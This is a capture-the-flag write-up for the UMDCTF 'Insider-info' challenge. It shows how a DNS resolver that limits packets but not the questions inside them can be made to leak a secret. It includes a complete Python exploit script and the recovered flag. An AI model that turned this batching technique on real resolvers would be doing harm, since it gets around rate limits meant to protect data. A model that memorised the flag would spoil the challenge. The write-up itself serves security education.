Insider-info Write-up
Initial Requirement
The challenge service exposes a DNS resolver over a two-packet custom transport:
- Host:
challs.umdctf.io - Port:
32323 - Goal: recover the flag from the resolver
The provided server code shows the intended behavior:
- A random secret of length
819is generated and split into 63-byte labels. - If a TXT query matches the full hidden subdomain, the resolver returns the flag.
- If a TXT query matches
*.inside.info, the resolver returnssecret[index]whereindexcomes from the first label. - Only two packets are accepted total.
Relevant code paths in dns_server.py:
- Secret generation:
k = 819,secret = random.choices(...) - Flag condition:
if qname == subdomain + ".inside.info" - Leak condition:
elif qname.matchWildcard("*.inside.info") - Two-request limit:
for _ in range(2)
Core Idea
The bug is not cryptographic. It is a protocol abuse issue:
- The server limits the number of DNS packets, not the number of questions inside a packet.
- The resolver loops through every question in
request.questions.
That means one packet can contain hundreds of TXT questions and leak the entire secret in a single request.
The solve becomes:
- Send one DNS packet containing 819 TXT questions:
0.inside.info,1.inside.info, ...,818.inside.info. - Collect one leaked character from each answer and reconstruct the 819-byte secret.
- Rebuild the hidden subdomain using 63-byte labels.
- Send the second and final packet asking for that exact name as a TXT query.
- Read the returned flag TXT record.
Trial and Error
1. Straightforward dnslib query building
The first packet was easy to construct with dnslib because it only needs many questions in one DNS message.
The second packet was harder. A normal DNSQuestion build failed because the reconstructed hostname is too long for dnslib’s standard encoder.
2. Compression-pointer attempt
I tried to bypass the name-length issue with a pointer-based raw packet. That did not work reliably because the packet encoding was not matching the server-side parser the way I expected.
3. Final solution: raw DNS encoding
The working fix was to manually encode the second query name as raw DNS labels instead of relying on dnslib’s name builder.
This avoids the client-side length check and still produces a valid query that the resolver compares against its hidden subdomain.
Exploit Script
import socket, struct
from dnslib import DNSRecord, DNSQuestion, QTYPE
HOST = "challs.umdctf.io"
PORT = 32323
def recvn(sock, n):
data = b""
while len(data) < n:
chunk = sock.recv(n - len(data))
if not chunk:
raise EOFError("connection closed")
data += chunk
return data
def encode_dns_name(labels):
out = b""
for label in labels:
lb = label.encode()
if len(lb) > 63:
raise ValueError("label too long")
out += bytes([len(lb)]) + lb
return out + b"\x00"
with socket.create_connection((HOST, PORT), timeout=20) as s:
req1 = DNSRecord()
for i in range(819):
req1.add_question(DNSQuestion(f"{i}.inside.info", QTYPE.TXT))
p1 = req1.pack()
s.sendall(len(p1).to_bytes(2, "big") + p1)
l1 = int.from_bytes(recvn(s, 2), "big")
resp1 = DNSRecord.parse(recvn(s, l1))
secret = ["?"] * 819
for rr in resp1.rr:
try:
idx = int(str(rr.rname).split(".")[0])
ch = str(rr.rdata).strip('"')
if 0 <= idx < 819 and len(ch) == 1:
secret[idx] = ch
except Exception:
pass
sstr = "".join(secret)
labels = [sstr[i:i+63] for i in range(0, 819, 63)] + ["inside", "info"]
qname = encode_dns_name(labels)
header = struct.pack("!HHHHHH", 0x2222, 0x0100, 1, 0, 0, 0)
qtail = struct.pack("!HH", 16, 1) # TXT, IN
p2 = header + qname + qtail
s.sendall(len(p2).to_bytes(2, "big") + p2)
l2 = int.from_bytes(recvn(s, 2), "big")
resp2 = DNSRecord.parse(recvn(s, l2))
for rr in resp2.rr:
print(str(rr.rdata).strip('"'))
Flag
The recovered flag was:
UMDCTF{5Ur31Y_N0_0N3_W111_N071C3_MY_1N51D3r_7r4D1N6}
Flag Meaning
The flag is leetspeak for:
"Surely no one will notice my insider trading"
That fits the challenge theme very well:
5Ur31Y-> SurelyN0_0N3-> no oneW111-> willN071C3-> notice1N51D3r_7r4D1N6-> insider trading
Takeaway
The important lesson is that packet-count limits are not enough if a single packet can contain many logical operations. Here, the resolver trusted the number of DNS questions in a packet, which allowed complete secret recovery in one request and the flag in the second.